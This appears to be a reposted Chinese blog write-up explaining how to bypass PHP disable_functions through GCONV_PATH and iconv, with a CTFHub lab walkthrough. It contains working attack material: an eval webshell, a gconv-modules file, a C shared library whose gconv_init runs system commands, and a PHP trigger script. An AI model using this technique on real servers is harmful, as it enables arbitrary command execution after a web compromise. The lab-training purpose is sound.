使用GCONV_PATH与iconv进行bypass disable_functions

Posted lesion__

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了使用GCONV_PATH与iconv进行bypass disable_functions相关的知识,希望对你有一定的参考价值。

你需要知道的前置知识

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。

php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。

下面我们来看一下iconv_open函数的执行过程:

  1. iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
  2. 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
  3. 之后会调用.so文件中的gconv()与gonv_init()函数。
  4. 然后就是一些与本漏洞利用无关的步骤。

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  1. iconv_open函数依照GCONV_PATH找到gconv-modules文件。
  2. 根据gconv-modules文件的指示找到参数对应的.so文件。
  3. 调用.so文件中的gconv()和gonv_init()函数。
  4. 一些其他步骤。

bypass过程

我们的利用方式就是首先在某一文件夹(一般是/tmp)中上传gconv-modules文件,文件中指定我们自定义的字符集文件的.so,然后我们再在.so文件中的gonv_init()函数中书写命令执行函数,之后上传php的shell,内容是使用php设定GCONV_PATH指向我们的gconv-modules文件,然后使用iconv函数使我们的恶意代码执行。

当我们使用浏览器访问我们上传的shell之后,服务器会做如下步骤:

  1. 设定GCONV_PATH指向我们的gconv-modules文件。
  2. 执行php的iconv函数,本质上调用了glibc的iconv_open函数。
  3. iconv_open函数依照GCONV_PATH找到我们上传gconv-modules文件。
  4. 根据gconv-modules文件的指示找到参数对应的.so文件。
  5. 调用.so文件中的gconv()和gonv_init()函数,当然,其中是我们想要服务器执行的系统命令。

实际操作

首先上传gconv-modules文件于/tmp文件夹,其内容如下:

module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module  INTERNAL    自定义字符集名字(大写)//    ../../../../../../../../tmp/自定义字符集名字(小写)    2

然后书写利用的.so文件内容:

#include <stdio.h>
#include <stdlib.h>

void gconv() 

void gconv_init() 
  system("希望执行的命令");

然后执行shell命令:

gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC

上传该文件到/tmp。

书写shell.php:

<?php
    putenv("GCONV_PATH=/tmp/");
    iconv("自定义字符集名", "UTF-8", "whatever");
?>

上传到web目录下然后浏览器访问执行即可。

靶场实战

靶场使用的是ctfhub的靶场。

目标是执行/readflag命令获取flag值。

进入网站,网页显示当前脚本的源代码:

<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

使用蚁剑连接,发现无法进行命令执行,需要bypass disable_function。

书写gconv-modules文件,内容如下:

module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2
module  INTERNAL    HACK//    ../../../../../../../../tmp/hack    2

上传该文件至/tmp文件夹下。

再书写hack.c文件,内容如下:

#include <stdio.h>
#include <stdlib.h>

void gconv() 

void gconv_init() 
  system("/readflag > /tmp/flag");

执行shell命令:

gcc hack.c -o hack.so -shared -fPIC

将生成的.so文件上传到/tmp。

书写shell.php内容如下:

<?php
    putenv("GCONV_PATH=/tmp/");
    iconv("hack", "UTF-8", "whatever");
?>

上传到/var/www/html文件夹下。

使用浏览器访问。

此时/tmp/flag中已经存储了flag值。

以上是关于使用GCONV_PATH与iconv进行bypass disable_functions的主要内容,如果未能解决你的问题,请参考以下文章

使用GCONV_PATH与iconv进行bypass disable_functions

使用GCONV_PATH与iconv进行bypass disable_functions

PHP下编码转换函数mb_convert_encoding与iconv的使用说明

在Linux/Unix系统下用iconv命令处理文本文件中文乱码问题

iconv 中文截断问题的解决方法

C++用iconv进行页面字符转换